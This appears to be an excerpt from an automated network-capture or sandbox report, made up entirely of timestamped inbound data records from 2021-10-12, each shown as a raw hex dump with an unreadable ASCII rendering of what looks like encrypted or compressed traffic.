                                                            2021-10-12 07:38:07 UTC147INData Raw: aa 9c ec d9 06 79 d7 3d 88 84 bf dd 21 f9 9d de bd e5 ab 84 a6 0b 74 7e 94 d0 cf 04 7f c8 af c1 2b e3 d6 a8 ad 90 00 a9 74 2e fb 99 45 b2 ea ea 49 d0 4b a4 13 34 f5 37 0f d3 20 8e 30 e1 d6 48 1c 16 05 f0 d4 e9 ee 66 3e 21 cd c8 e9 8a 4a 7f 39 97 ee 08 07 df 31 5d 59 6f bf 6f 41 fa 68 82 7d 9b 80 ff c7 1a c9 a2 d5 b0 b9 87 bb a3 7c ce 2f 2d 68 79 a0 1c 5a ee bb 6f 89 f0 7b 8a f4 4e e6 47 75 b2 5c 27 6b 6e 62 40 da d5 02 d7 0e ea b6 99 6e eb 7b 20 af 0c b5 9a 8a 3d 4a 22 cf 94 c3 a0 c3 d3 25 a5 a5 ed b2 5f 7e 0d 00 74 92 79 ad e6 c0 47 71 02 7a 4d c3 30 0c cf 3d cb 05 a6 df 17 74 45 e3 ca b5 61 3f 65 c8 19 6c 65 c4 87 b8 19 a4 88 c7 cc 66 5d ad 20 02 d0 d0 96 6c 41 30 3a 85 9b a4 63 af d3 f5 03 fa f3 8c 22 9e 5f 70 c9 a2 66 0f 0b 92 af 54 78 c6 41 e8 d6 b3
                                                            Data Ascii: y=!t~+t.EIK47 0Hf>!J91]YooAh}|/-hyZo{NGu\'knb@n{ =J"%_~tyGqzM0=tEa?elef] lA0:c"_pfTxA
                                                            2021-10-12 07:38:07 UTC148INData Raw: 8c 72 05 83 f8 57 22 6a 99 53 96 f0 0d 4c 04 8f ed cd 6b 4a 1c 34 a3 a8 60 ed b0 67 a9 6c 5d 26 33 13 21 45 d4 51 dc dc ef 86 d0 4e 54 b8 ce 85 43 49 cd 93 27 16 51 e7 55 c3 dd ff ef 30 5b d9 97 c0 82 2a d1 f4 3c a8 dd 14 bc 83 24 c2 ba 55 68 a3 3e 20 05 95 c5 8d 42 98 76 b5 f2 53 ed eb c4 62 5b 82 7c 31 9f b5 7e a0 a3 44 09 c4 e9 32 b2 37 2d cd dd 83 4a 8b 55 d3 9a df ee a0 69 40 96 45 7e 4f 91 63 28 5a d3 3e ed 12 e2 b4 64 3c 4f 6d 1f 4b 7b 6e 05 24 f2 d8 04 cb 02 23 c8 9e f0 61 7d dc 7b f6 4d cd 74 9a 5f b0 39 9b f5 ea e9 be 70 67 f9 06 fa 01 9e a0 29 b6 8a 62 0c 2c fb 85 af 6e cd 97 59 d1 2c cd e0 cc be 22 7b cf 3f 1b fa 87 be cd d8 87 40 a1 8c f6 e2 f9 1e f5 00 47 aa 89 7c c5 c4 11 ae 4f 97 bd 19 76 7b b1 7a ef e8 32 03 8c 01 09 c4 8f 20 bc 99 4d 15
                                                            Data Ascii: rW"jSLkJ4`gl]&3!EQNTCI'QU0[*<$Uh> BvSb[|1~D27-JUi@E~Oc(Z>d<OmK{n$#a}{Mt_9pg)b,nY,"{?@G|Ov{z2 M
                                                            2021-10-12 07:38:07 UTC150INData Raw: 48 ea 29 4d 77 a8 c1 28 fc ce a0 61 be 00 af 41 a6 ad 2d 46 b2 e8 e0 7b ac d2 a5 89 15 f8 24 2a f3 94 16 15 cc e4 df 1b 17 06 ef d9 e1 2c 48 3e 27 f8 40 bf 3e 49 7f 3b 9d d9 74 9e de ab 7c 54 7c 9a 4f f4 62 4d af 4c 03 87 fd c4 03 e1 af 2e 9c bf ad 27 f5 c8 cd 2f 2f 62 49 dc 85 5b 74 9a 62 9b d5 5b 3c 6c 6b cb 75 92 b5 5f 24 72 46 6f 43 f7 d3 28 4e 61 5b 9a 9b 6a cd e6 a4 d1 95 2e bf a3 0f 68 01 78 96 59 85 ce 05 24 85 a1 f1 bb 77 73 1d 2d 72 b8 e4 c2 57 ec 45 75 24 e8 c9 bd a9 97 ea 14 fa 26 85 67 15 ee 60 ee 15 b4 41 3a 78 e0 34 4e 46 ef ad 3e 78 32 a1 ea ca 46 e2 85 a6 7c d3 f4 bb 7a 47 16 80 87 9b 3e 66 57 e6 d3 23 e3 fc a4 0f bc 6d 5b e3 24 07 99 22 bf a9 74 c4 ee c3 96 d5 97 d6 63 a8 d5 3a 65 b6 70 8c b8 d1 fd 03 da 77 7f 7d e3 bc 62 30 76 c8 6c 93
                                                            Data Ascii: H)Mw(aA-F{$*,H>'@>I;t|T|ObML.'//bI[tb[<lku_$rFoC(Na[j.hxY$ws-rWEu$&g`A:x4NF>x2F|zG>fW#m[$"tc:epw}b0vl
                                                            2021-10-12 07:38:07 UTC151INData Raw: 81 8a da a8 60 23 78 68 d6 ee bf 37 a9 e5 77 20 44 00 b8 ac 53 24 71 a4 8a b4 15 52 8e c5 7c 8f f7 22 01 7f 4c a1 2d 02 61 77 2a 29 12 d1 62 d5 c0 51 72 f5 28 79 9a ce 6b e0 c4 75 19 ac 7c a9 6f 87 b5 23 8d 24 cb 2a f4 d9 26 c4 24 0a 23 eb 14 6d c1 a4 08 74 95 5e 97 bd 1b 4e 3d 1f 79 43 6c 07 47 55 e5 f8 d6 12 5a fd c0 28 ed b2 21 72 9d 00 8b 6e 2e f1 b8 c7 e2 b2 93 cb c7 b8 b6 fb 18 3d 7c b7 98 4d ff 49 c0 3e 00 17 95 14 eb 12 19 1a f4 36 f6 92 81 e3 ef 38 27 a2 5e 8d 72 fb 99 f5 8f 4e 3e 06 77 9b 02 cb 5b f9 2b 1a 87 5f 8a fc 5c d3 44 09 8d 7a 41 cf f4 cd b6 82 ee 03 e8 f1 a2 11 ac b1 ae 59 79 84 66 39 d5 d3 9d 9e 2f af b0 63 9a 72 ec 6d d9 8f 11 1e 87 40 34 f1 b2 35 f5 cf 55 8a 4c ac c7 05 5a 25 28 62 40 52 11 8f 8c a9 d3 aa 35 64 cb cc 81 56 34 1a 4b
                                                            Data Ascii: `#xh7w DS$qR|"L-aw*)bQr(yku|o#$*&$#mt^N=yClGUZ(!rn.=|MI>68'^rN>w[+_\DzAYyf9/crm@45ULZ%(b@R5dV4K
                                                            2021-10-12 07:38:07 UTC152INData Raw: be 42 41 c0 15 fe e5 61 40 5a fb 19 0c 0a d5 fd f3 30 00 1b 0f a4 e5 f4 3f 9b 51 c1 96 aa d5 55 aa e7 fd 35 57 ba ad b6 54 8a 06 1a 9c 48 89 fe 60 50 6a bf 58 3d 6b 35 26 2a a9 61 4c 46 bb b9 e5 7e 1c bd fc c9 34 ec 37 61 e6 98 58 ed 42 d6 13 0c f8 89 cf ff e1 fc 72 57 bf c1 e6 d4 02 38 ec 5e 45 bf 30 86 a0 30 13 89 da a1 f9 2f 66 00 63 4e 4c ff dc 8b d7 34 0c 48 65 06 c9 aa 91 39 94 1c 20 7f 97 5d de 7f c6 ac 53 8c 66 c0 05 73 0d 75 e8 2f bb 4f 10 57 b8 45 08 17 ad ca 54 06 02 b3 8c b1 2c 89 c7 53 6d 3c dc 8b 2e 01 77 fb fb 92 ae 5f 7a f5 f4 55 a8 c8 95 23 c7 6c 62 e2 33 0c 8c 1f 8e ef 5b df ca 40 ec 53 95 c4 2a bd d7 03 42 97 c0 86 ae e5 f9 0f a4 64 69 64 84 c9 7f 18 4e e6 7c 93 2c cf 3f 98 f0 60 7e be e3 73 57 58 2f 6f 1d e8 f0 c4 10 7d 97 c9 d9 e1 61
                                                            Data Ascii: BAa@Z0?QU5WTH`PjX=k5&*aLF~47aXBrW8^E00/fcNL4He9 ]Sfsu/OWET,Sm<.w_zU#lb3[@S*BdidN|,?`~sWX/o}a
                                                            2021-10-12 07:38:07 UTC153INData Raw: a8 1b 1d f4 bf 09 9d ee 67 47 57 02 d7 08 7b 4c 09 41 7e 1f eb 2a c0 96 06 0f bf 4e 0f a8 b9 29 ba 86 14 2b de 05 c9 17 c1 ae 29 88 24 bf 7c d2 82 60 8d 23 17 05 bc 09 6b 8a a4 63 51 ac 6b ea 84 60 76 1d 2d 50 64 7a 30 73 28 87 91 ae 79 61 e7 86 66 b7 e7 2a 40 dc 45 24 c3 d1 22 7c 0b 76 26 22 35 20 56 08 30 ed d4 9f 4b 22 f3 5d fd 6d 22 15 5b dd 4c e3 18 36 5f c7 0e 9c b4 a0 88 c6 5c 52 b4 44 97 73 bf ed c5 be 67 09 28 14 e7 76 80 1e bf 2b 5b c8 17 84 93 41 aa 76 3d e7 06 32 e3 db fe c4 fe a2 51 e5 8c c9 73 90 8c b7 5d 1c c7 2b 6f d4 83 cb de 28 8b 97 4b a3 0c d0 53 ec 83 2f 7e f0 39 2c c5 92 47 85 ab 53 a5 7a ca b9 45 16 7c 73 52 0e 12 4f 9c 3e 4b 58 33 d4 df 61 13 76 ae dc e1 ae b4 ff 33 f6 c4 6b 15 bb de 0b 8d 4d 3b 84 b8 95 c0 57 9d 00 59 8b ca 52 0e
                                                            Data Ascii: gGW{LA~*N)+)$|`#kcQk`v-Pdz0s(yaf*@E$"|v&"5 V0K"]m"[L6_\RDsg(v+[Av=2Qs]+o(KS/~9,GSzE|sRO>KX3av3kM;WYR
                                                            2021-10-12 07:38:07 UTC155INData Raw: ba 0f 96 c2 fb b6 07 c1 86 89 49 2e e9 f3 ea 0e dd 61 71 f4 24 d5 bb 37 77 50 86 20 4e 57 76 7a 17 83 73 5f 67 c1 b5 f0 63 02 b3 ff e9 14 ea 3f 72 ed c7 7d e3 59 cc 0d 6a eb 9a c1 e5 e0 e5 7a 63 66 25 33 3f e0 94 7c c4 c6 2f a5 12 20 ba df 4e 33 5f 21 da 91 eb 83 66 5f f1 fc ad ad 04 06 4e 6b 25 fc 9d ba 19 a3 6a 33 40 b6 2f 99 70 fd 80 6d ad 5e c3 3a 62 1a 37 bc 71 de 25 5a 09 86 01 40 6f de a5 0c 64 3e 83 cc c5 55 c8 a8 2d 09 5d c2 a9 68 71 1c ce bd d7 97 06 3f b5 b7 59 a1 bc da 75 f9 22 0c ef 2e 78 ec 0b 90 df 1f b6 b6 35 80 53 f6 b9 0c 91 bc 21 02 b2 d3 96 a7 f8 f8 05 57 8c b2 b7 18 20 86 bd 9a 1a 90 7a 8f 19 e2 6b 4f cc cb 04 42 c7 e8 60 6d 3c 1e d6 b7 82 67 78 c9 fd fd d5 46 da 0e 2f 77 bd 09 73 28 ec 0e 25 36 ff 71 e7 e1 4d df 3a 2a 16 e5 f3 f2 f7
                                                            Data Ascii: I.aq$7wP NWvzs_gc?r}Yjzcf%3?|/ N3_!f_Nk%j3@/pm^:b7q%Z@od>U-]hq?Yu".x5S!W zkOB`m<gxF/ws(%6qM:*
                                                            2021-10-12 07:38:07 UTC156INData Raw: 0c a6 5d 0b e5 f9 69 ee d7 12 61 b9 3f bc 7e a3 f8 1d cc 03 ed 0c a1 af 3d e4 44 2a 1b d3 3a 1a d3 af 76 08 a3 2e ac 8e 6c 9e e4 8d b0 8e bb d7 9a 87 31 25 41 f2 8a 10 30 ca 1b 42 cd 9b 60 a3 7b a5 de 3b 6b 0f 3f 66 6e 5b 3e 4a 2a 00 99 bc fe 5c 0b b4 6f a9 4d 50 01 25 a3 2c 97 24 3f 7c 85 70 e9 e6 aa cf 84 42 25 94 1c be 45 ab ce ea f9 02 65 18 3d d4 53 ae 78 99 1f 6a ec 1c d7 d0 0f b9 22 26 f3 11 2e e2 ae 88 e5 d9 94 7f 9c a5 e1 47 b7 b4 de 23 7d fe 41 45 ed e8 b7 a7 62 a9 a7 18 b6 59 88 5e f9 87 29 f6 54 d7 c0 36 30 a6 3f 16 ed 5e 96 7d 14 fa a3 fa 8a bb a4 be f6 23 20 75 01 7f e9 8a 37 07 6a 8f b1 a9 cf 94 ce 1a d1 ae 0e 6b c6 a3 6b fc 2b 54 c0 cc b9 fb 3e e7 47 21 9b f4 0f 55 c2 e4 ae eb be e0 e2 a6 57 51 62 7d 3c 35 c6 06 d6 b3 5d 9d c4 d8 05 c4 d8
                                                            Data Ascii: ]ia?~=D*:v.l1%A0B`{;k?fn[>J*\oMP%,$?|pB%Ee=Sxj"&.G#}AEbY^)T60?^}# u7jkk+T>G!UWQb}<5]
                                                            2021-10-12 07:38:07 UTC157INData Raw: 76 e7 06 27 7c 01 14 1e 87 60 5a 21 c2 d0 ef 69 18 42 1e 3f d8 00 89 c6 18 7f b8 0b f9 7d bc df 18 70 2c 40 4a 0c 84 9c 66 14 2c 31 e2 91 61 d0 89 49 d7 77 51 de da 47 5f 50 12 f2 a5 cf 8a 4f 54 d2 df 98 d6 2f 18 43 41 23 c7 82 a7 07 a2 73 52 66 99 7b ec 3f 8f e9 0f d1 34 83 75 2f 42 54 cf 1e 82 39 05 6a f1 26 76 74 c5 81 13 42 27 9c c0 f6 4b f8 b6 32 0e 6a d1 9c 53 53 71 f7 ee ef bd 5f 40 da c3 2f d3 d7 9c 2e 93 5e 52 dc 10 27 e3 e3 56 6d b3 09 08 99 19 c4 1b 0e ab 42 49 cd a1 7f 22 66 43 0c 00 a1 5c e9 9c ac 01 38 8f eb b1 38 f1 0a dd 12 e7 63 73 fd e6 4a 31 ab 81 26 31 55 60 cf dd dd 35 40 b0 9c a3 92 18 9a 59 6d 30 b0 71 0d 2b 81 04 29 4a bc 0d 8e 94 30 8b 14 79 45 8a ce bd d1 28 3f 1f 36 0b 8f 5a 94 31 d3 76 38 a6 84 d9 bc cc 6f e6 68 e0 d6 a3 f7 c2
                                                            Data Ascii: v'|`Z!iB?}p,@Jf,1aIwQG_POT/CA#sRf{?4u/BT9j&vtB'K2jSSq_@/.^R'VmBI"fC\88csJ1&1U`5@Ym0q+)J0yE(?6Z1v8oh
                                                            2021-10-12 07:38:07 UTC159INData Raw: 03 ab f6 c1 0b f6 a5 1b 4d 8d be 59 cc 56 74 a2 ab cf af e5 ad 85 de 9c 8c 18 12 2c cc 9c 00 3e ae 14 6e f5 a6 5d 98 79 b7 f1 13 4b 26 11 60 31 21 25 4f 5d 30 e2 d8 9b 59 19 dc 7d c8 4a 40 76 60 d6 5a ff 42 43 48 b1 00 80 c5 cb ff a6 7f 68 f0 1f e4 09 84 9d b1 d0 36 5b 22 16 fb 71 95 67 f8 2a 5c c9 0b cc e5 3b 9c 30 6b f2 06 31 e6 8e ae c2 e6 b4 47 a8 88 db 74 7f 70 0f c6 8b 51 b2 b2 15 02 77 6b a1 50 50 fa 43 ba 55 85 1e 67 c8 df 57 c1 e9 0b 27 bb 39 6c 82 60 b3 40 20 d8 a8 f3 b7 89 b2 a1 cb 1f 19 42 3c 54 c3 89 11 26 4e 92 c6 b1 f2 8d d0 1b d9 ab 36 7b f5 88 59 87 6d 16 94 b5 c6 85 52 94 6c 4f eb 92 70 3a 87 a1 da e5 b9 ff af fd 3c 0c 33 5f 18 21 d0 10 e3 84 74 ad ff fc 02 fb fe 93 98 46 8c b5 60 7c 31 28 49 b8 d5 a0 b6 0d 41 6b 4d 3b 97 c7 1b 10 f3 ed
                                                            Data Ascii: MYVt,>n]yK&`1!%O]0Y}J@v`ZBCHh6["qg*\;0k1GtpQwkPPCUgW'9l`@ B<T&N6{YmRlOp:<3_!tF`|1(IAkM;
                                                            2021-10-12 07:38:07 UTC160INData Raw: 7b 9d 28 b9 58 8e a9 62 0f 20 37 26 35 bd a0 49 74 23 06 db e5 06 ba b5 4b 9d 5e 5c cd d4 4b 0b 4b 76 9c df a8 d1 28 1c a1 b1 f0 af 73 15 21 0a 63 a7 f2 c5 63 cb 18 48 3c d3 59 c0 32 bc f9 05 db 08 91 4e 3f 59 65 fa 24 a4 0c 15 49 c9 1d 04 0a ba 83 15 5b 11 b8 fa f8 71 95 c5 53 7c 33 8b d1 fd ee 96 00 0b 44 69 9d ab 20 3a d0 27 7a 3a 88 0e ca e4 65 b3 85 7a c5 49 6e a5 07 17 d6 15 97 68 38 9d 6f 39 c2 c9 7a 0b 49 70 32 2e 98 38 83 97 87 22 5a ed cb 83 28 a2 13 b6 1f e7 6f 3d b8 c7 51 05 86 fe 07 79 26 16 a1 ee d8 7c 0a e1 c3 84 b6 29 f8 25 11 50 c5 6c 24 0b b9 3b 0b 2f ba 3f be af 1f 9b 3a 03 00 b6 ee 9a b6 1d 18 3b 69 15 9a 4b df 71 91 7c 58 d6 a7 b3 de cf 46 c6 57 3b 1d 28 38 2b e3 f3 54 07 8a 66 a5 9f f9 5f cf 0b 3c c9 12 c2 4e c7 8a 43 4d 96 c5 c9 d6
                                                            Data Ascii: {(Xb 7&5It#K^\KKv(s!ccH<Y2N?Ye$I[qS|3Di :'z:ezInh8o9zIp2.8"Z(o=Qy&|)%Pl$;/?:;iKq|XFW;(8+Tf_<NCM
                                                            2021-10-12 07:38:07 UTC161INData Raw: 54 1a 6a b7 e3 2f 46 a1 62 4f d9 dc 36 b0 65 ca cb 63 3e 51 35 69 56 74 65 4a 47 53 91 86 c1 09 35 e8 58 c3 74 6a 41 5e cb 67 e3 73 63 75 96 12 83 eb e3 dd 96 46 45 dc 3e e7 34 a1 b1 9d f2 2b 73 3f 18 ca 6f 9f 4b fc 2b a5 63 a4 75 56 d9 20 ed bf 61 91 a3 6c 44 28 53 7e 21 c9 35 0d 06 ec 08 18 75 d6 c2 0c e9 ab 41 2a 61 3a d9 6f 43 dc 75 b6 55 97 3a 55 a4 ce 67 f7 ea 15 55 df 46 70 b5 67 92 51 38 9e d1 d4 96 e9 f6 fe 92 76 61 38 48 1b 81 de 6a 5f 30 c9 98 e9 ad e8 bf 64 f3 91 79 01 fe 98 51 d6 4e 3e c5 c6 a7 ea 2c b1 01 0d 8c f6 1e 16 c9 ed bb c2 87 d4 d9 8e 7d 7f 48 26 56 1c a5 6f a5 df 2d f0 bc 4f 8b 24 1b 7a 7d 96 47 5b 80 c2 f8 f2 ef 51 54 10 01 b1 ed 90 ae 9b 96 d0 1c 75 82 d3 ae f7 79 d3 7b 5a 4e a5 8b 1a 76 5d c4 12 01 e0 ac 46 3d 0a 74 d0 1b 4f ff
                                                            Data Ascii: Tj/FbO6ec>Q5iVteJGS5XtjA^gscuFE>4+s?oK+cuV alD(S~!5uA*a:oCuU:UgUFpgQ8va8Hj_0dyQN>,}H&Vo-O$z}G[QTuy{ZNv]F=tO
                                                            2021-10-12 07:38:07 UTC162INData Raw: c0 14 4f e3 61 06 74 37 df 3b d9 bc 63 2c 79 87 27 d2 92 24 68 58 f0 05 49 b4 d9 80 f1 3a 3e 68 67 ba 5c 26 88 08 41 87 96 b8 dd 5f 70 88 ee 88 41 6d 6b e1 b6 14 58 f3 3e 23 c7 e4 f9 a1 6f fc 8b ba 9c e0 cb ee 65 b1 3e 1d 9b 8a 11 e5 b2 41 49 95 38 25 ac cb 72 af 72 b4 6c 45 c0 62 dc 60 dd 74 76 b7 61 d2 af 8f 5f 04 48 a4 c3 05 2c d4 43 cb a2 2c 08 6c 03 38 1f 01 4f 04 24 a0 bb 8c 4e 20 89 bb 5e b0 d3 5a 01 da 12 94 03 70 82 dc f3 ab d5 8f 94 a9 e0 ee 83 59 75 21 a0 d0 19 ba 00 b2 8d b5 a0 38 a6 0b 82 c1 d8 3e b9 32 41 5f 65 28 e5 e3 5e e6 7e 86 1e 1f 21 5e 9e d3 92 b9 43 e9 3d fd 53 8e e5 7c 88 4e 65 bd 1c 8b c1 51 aa 86 50 28 0e 2f 42 1d e2 09 3f 65 d0 3c 19 4b be fe 2c d7 db 50 7c 31 38 21 c9 c6 62 d9 22 f4 38 83 a8 49 43 d9 4a 56 a6 ea 7d f4 d4 36 da
                                                            Data Ascii: Oat7;c,y'$hXI:>hg\&A_pAmkX>#oe>AI8%rrlEb`tva_H,C,l8O$N ^ZpYu!8>2A_e(^~!^C=S|NeQP(/B?e<K,P|18!b"8ICJV}6
                                                            2021-10-12 07:38:07 UTC163INData Raw: d2 87 37 59 51 b8 c9 63 cf c8 80 55 88 48 9c 58 a8 aa 22 0c 81 e8 ca c1 da 03 97 8f 11 c5 20 61 c0 92 8c f2 fb be ca 3d 16 99 e5 91 f2 c5 64 51 2d af 79 91 13 bb 65 75 84 5d 0a ef fd 1e 62 72 7e 5f 4e bc cb 6e 82 6d 05 d0 fb c1 03 18 8f 62 aa b5 ad 20 f5 71 c8 25 29 d6 c6 36 1b 50 74 5c 76 25 f0 49 3c f7 51 fd 4c a6 95 80 03 69 6d 5d 42 6d f9 12 7c 62 73 3c aa 71 e0 de 22 8e 24 34 94 a1 2f 7d 1d cd 8c c5 a0 56 09 b7 bf a3 f2 e7 78 e6 15 12 72 2e e6 2f 77 d3 47 46 32 3e 47 40 32 5c f7 10 da 25 86 bf 01 28 75 c5 07 6f 40 77 48 f6 34 19 54 2c 85 38 67 aa 99 72 d2 50 e4 62 08 ec 62 e3 bb 47 6c fe ab 81 9b 2a 53 cf ee f3 03 cf d1 11 15 9a 5f 13 f4 91 02 90 0a 1f a7 19 df c2 41 e4 5e 23 cc 74 8a db 27 65 b6 5d ab b8 e5 db 23 cf 74 84 68 df d4 5d 30 dc cb 58 97
                                                            Data Ascii: 7YQcUHX" a=dQ-yeu]br~_Nnmb q%)6Pt\v%I<QLim]Bm|bs<q"$4/}Vxr./wGF2>G@2\%(uo@wH4T,8grPbbGl*S_A^#t'e]#th]0X
                                                            2021-10-12 07:38:07 UTC164INData Raw: ec b2 fd 8c 41 5f 03 13 c9 3e 45 73 71 46 f7 ed 87 cf 47 a2 80 cc 85 4c 61 e6 ed 3f 16 53 e2 75 18 e5 fc ef aa 77 f6 30 e6 23 f0 d1 f4 3c 88 cb 28 bc 83 26 c8 54 78 eb a2 33 0b 83 eb cb 8d 42 9c 2f 6b 3d 53 63 70 ea 4e 49 a4 48 ea 9d b5 07 82 6d 6f 87 c5 fd 17 9a 1a eb cc db a9 b5 f7 1d d2 14 da cc 7d 6b 40 f8 dc 5b 62 9e 45 df 87 5f 3f ef 32 c7 9f f3 3d 50 64 a6 65 ae 6e 93 0f 76 a6 99 ca 16 20 e8 40 ef 61 aa 46 cd da 5d eb 54 44 43 a7 39 bb c6 c1 3e be f8 6d 73 2b f8 01 00 89 af c8 13 63 db 28 45 5b af 6e cd 0d 34 eb 3e eb dd 13 6b 22 e4 ee 04 30 fa 87 63 c1 f0 aa 5f a1 55 dc d6 86 82 f4 00 43 42 7e 7e c5 d9 8b 68 62 31 9a 3c 96 79 b1 76 cb a0 19 1e 8c f0 05 55 a3 20 bd 9f 67 5a 4f a8 c7 32 76 f1 41 d9 6f 71 38 f7 ef 90 c5 aa 07 45 e0 2a bb d8 09 7c 35
                                                            Data Ascii: A_>EsqFGLa?Suw0#<(&Tx3B/k=ScpNIHmo}k@[bE_?2=Pdenv @aF]TDC9>ms+c(E[n4>k"0c_UCB~~hb1<yvU gZO2vAoq8E*|5
                                                            2021-10-12 07:38:07 UTC166INData Raw: 4b 50 8a 02 da 24 29 29 8c 9f 32 e0 f6 d5 39 b5 18 ee d9 58 c5 cc 23 26 e7 ed 8b b8 56 7e 3d eb 72 07 05 de ab d9 59 8c 84 4e f4 be 43 70 40 24 a7 90 ec f1 fc 8e d7 b5 b4 a0 3b dc e5 91 23 8a 55 ce a2 2f 57 64 9c 43 98 db 54 2f f4 4f e6 56 9e 85 5e 26 72 df 49 ea c7 d2 28 f6 6c d8 aa 98 6a 2b d0 8a b2 0d 2f 6f 8d 3f 6e 03 78 61 e9 b0 e1 16 02 79 8a e2 b9 76 53 9c 23 62 ba fa d3 e0 cc 57 77 23 c2 b5 ce 20 94 eb 10 2b 2a 96 65 14 74 27 ee 0a 90 60 3f f2 e8 39 6c 64 c2 fe 0a 74 3f 88 c7 05 53 e9 ad 21 02 7e eb b6 7c 66 10 20 88 88 a6 42 7a 40 d4 48 e7 fe a4 29 80 4f 74 e2 24 73 98 23 8c ad 72 58 c2 52 ea 1a 16 41 66 db cc 6f e5 a2 ed fa 8b 96 5b e7 dc 27 61 2b 43 b7 48 63 68 d0 42 24 1c ee 07 dc 40 d4 4b d3 cf 16 e3 88 e0 f5 84 23 36 9f f8 9f 73 11 c0 e6 ff
                                                            Data Ascii: KP$))29X#&V~=rYNCp@$;#U/WdCT/OV^&rI(lj+/o?nxayvS#bWw# +*et'`?9ldt?S!~|f Bz@H)Ot$s#rXRAfo['a+CHchB$@K#6s
                                                            2021-10-12 07:38:07 UTC167INData Raw: 4a fe bc 16 51 74 74 21 dd fe ef 3d 7f bf 87 e7 a2 e5 d4 e7 3e 89 2a fa bd 90 39 ce 92 ef 6b 7b 11 0c 83 ff 5b c7 40 9a 56 23 f7 40 ef 70 e1 d8 48 ee 76 fc 9d 22 7f cb a0 69 0f 5e f0 05 98 4c af 5a da 81 e0 a3 4c c6 9d f3 e2 2b eb 84 97 f7 77 34 03 0f 0f af fd 68 6d c4 c6 b7 48 6a d0 af 30 4e 55 38 83 66 76 8e b1 9c 82 de e1 68 de 37 fd fa 5c f3 73 bd d4 76 49 98 15 ed 5b 27 eb 96 43 3a 51 51 ec 29 b4 dc 2f d8 10 4b 20 7e 5b 84 b8 46 e1 5b fc c6 3d c3 ec 15 ba b8 7d fc 04 66 7a 10 a0 84 dc fc c2 b5 8d 9a 48 d1 07 30 01 05 a6 3f fe 8f c3 cd a7 34 05 6d 38 d0 55 e7 fa 04 a7 5f 2f da 9e 6d ee e4 0e ea 1f 9e 9a 10 84 c1 3b e3 1e e2 7f 68 73 ae f6 dd a4 c7 aa 13 4b d0 da bd 63 cc 7f 06 77 32 f8 72 58 82 c1 6f 0e 33 0c ef a9 02 39 d6 17 44 01 ae ec ef 04 d4 b2
                                                            Data Ascii: JQtt!=>*9k{[@V#@pHv"i^LZL+w4hmHj0NU8fvh7\svI['C:QQ)/K ~[F[=}fzH0?4m8U_/m;hsKcw2rXo39D
                                                            2021-10-12 07:38:07 UTC168INData Raw: 13 97 13 4b 7f 2b b7 9f 0b 0d dc a0 78 2c 24 99 4f f4 f8 7e 82 ca 24 73 f7 cc 03 61 d2 d7 b0 bf ad 28 dd 72 ce af 2b 44 cf a2 1c 5a 74 1e 42 89 f6 4b 3f 11 46 ea 67 b4 95 5c 27 f2 46 5e 62 4d d2 c3 59 7c 73 b7 99 6a cb 4c 22 be 2c b8 be 53 27 60 02 78 96 c3 a0 63 17 13 85 32 f3 42 7f 5f 0f 00 72 b8 fb 53 7f d0 67 e2 23 3d 47 cf 30 96 ea 10 da a3 86 71 35 e3 44 c6 0e 9e 61 3f 7b e0 34 ee 65 d4 8d a9 66 29 80 c9 c8 46 e4 af 20 82 4a e3 9b e9 66 0e 8a 97 9b a4 43 7a f4 75 03 f3 df 33 0e b9 56 66 e3 24 18 96 0a 12 ab 62 e2 53 40 c2 45 86 d6 43 d7 d2 39 65 b6 fb a9 81 c7 1a 2b cc 74 73 1d c3 fd 4f 30 67 d6 9a ab fc ff 14 8a 78 23 4a 84 d1 40 72 9c dd a1 7c 27 21 05 96 ed 71 47 40 71 ef 65 5b 8c 4b 06 dc b6 9d 4a bf 95 fb 0d 96 1a 7e a6 b3 8e fe e0 9f 21 34 01
                                                            Data Ascii: K+x,$O~$sa(r+DZtBK?Fg\'F^bMY|sjL",S'`xc2B_rSg#=G0q5Da?{4ef)F JfCzu3Vf$bS@EC9e+tsO0gx#J@r|'!qG@qe[KJ~!4
                                                            2021-10-12 07:38:07 UTC169INData Raw: 83 bb c8 03 58 fd a2 67 05 a6 eb 5c 8c 42 9c d6 69 61 73 7a 70 86 40 6c a4 a9 7a 9d b5 5e 80 b4 67 9e c5 9a 19 bf 1a 23 55 db a9 ec f5 da da 8e dc a2 72 4e 40 b5 47 5b 62 a3 45 1e 8f 46 3f 9f 3d e2 9f 5e a4 50 64 17 66 6f 66 17 09 06 a9 b8 ca 56 bf e8 40 f2 61 7c 46 c9 da d0 e4 71 44 7d 2a 39 bb db c1 ef be f8 6d c2 2b dd 01 3c 10 af c8 13 63 48 2a ff 4e be 6e e8 0d 7c fc 3e eb c3 13 ba 3a 39 ca f7 32 df 87 a1 c2 f0 aa 41 a1 cc df 00 8c 46 fb 25 43 8a 69 7e c5 c7 8b cd 61 df 90 1d 99 5c b1 7a cf a0 19 00 8c 58 06 85 a9 ec b3 ba 67 93 56 a8 c7 38 74 19 59 20 4b 82 3b d2 ef a6 c1 aa 07 4f e2 9e b8 07 03 bf 3b 50 34 f8 38 5f b0 c0 69 48 c6 57 d6 8f 0b 1c 41 16 d5 1e a8 ef 78 43 ee d9 2e d6 46 45 26 6d 36 60 96 95 a6 c5 a6 f4 61 7e 46 1c cc 15 5c 53 91 4d 57
                                                            Data Ascii: Xg\Biaszp@lz^g#UrN@G[bEF?=^PdfofV@a|FqD}*9m+<cH*Nn|>:92AF%Ci~a\zXgV8tY K;O;P48_iHWAxC.FE&m6`a~F\SMW
                                                            2021-10-12 07:38:07 UTC171INData Raw: c7 10 e1 44 d0 6b bd 87 39 39 1b cf 2f 29 48 dc a2 8b 5f 77 8c 68 98 6e 5b 3d f6 4e e6 74 b4 90 6d 24 60 6c 4f a6 db d2 28 51 70 60 b7 f1 68 10 ce 08 af 5c 2a be a7 2f 6c 11 78 6f ca 8a e8 3d 02 8d a3 f3 bb 77 53 1c 00 66 bf 2c d7 55 c1 3f 73 23 c2 4f c3 23 96 2e 11 0d 27 ac 67 0d 73 44 c3 07 92 72 3f b4 e5 37 7c 4f c2 a1 35 66 3d 89 c7 db 46 cb 9e 23 10 60 f5 bb 6d 66 10 83 87 88 a4 d4 7b 20 fd 29 e5 af b1 0e 9c 5f 76 f0 24 8f 97 b7 96 81 74 5a d1 40 e8 4c 96 c5 67 c2 d5 6a 7f 9c ea 79 80 c1 db 23 dd 67 7f 77 c5 fe 5d 1a 76 66 53 bf 1a fd 05 99 c0 ff 48 5f d3 6a 63 5c ff a3 9a 25 30 16 fe c6 76 ed 5a 5b fe 5d a0 9b cd 06 cd a5 9d 1b ab 4e f9 27 87 a2 0a a4 30 87 ef f3 17 a4 36 e1 a4 87 8b 74 ad 2d ff 37 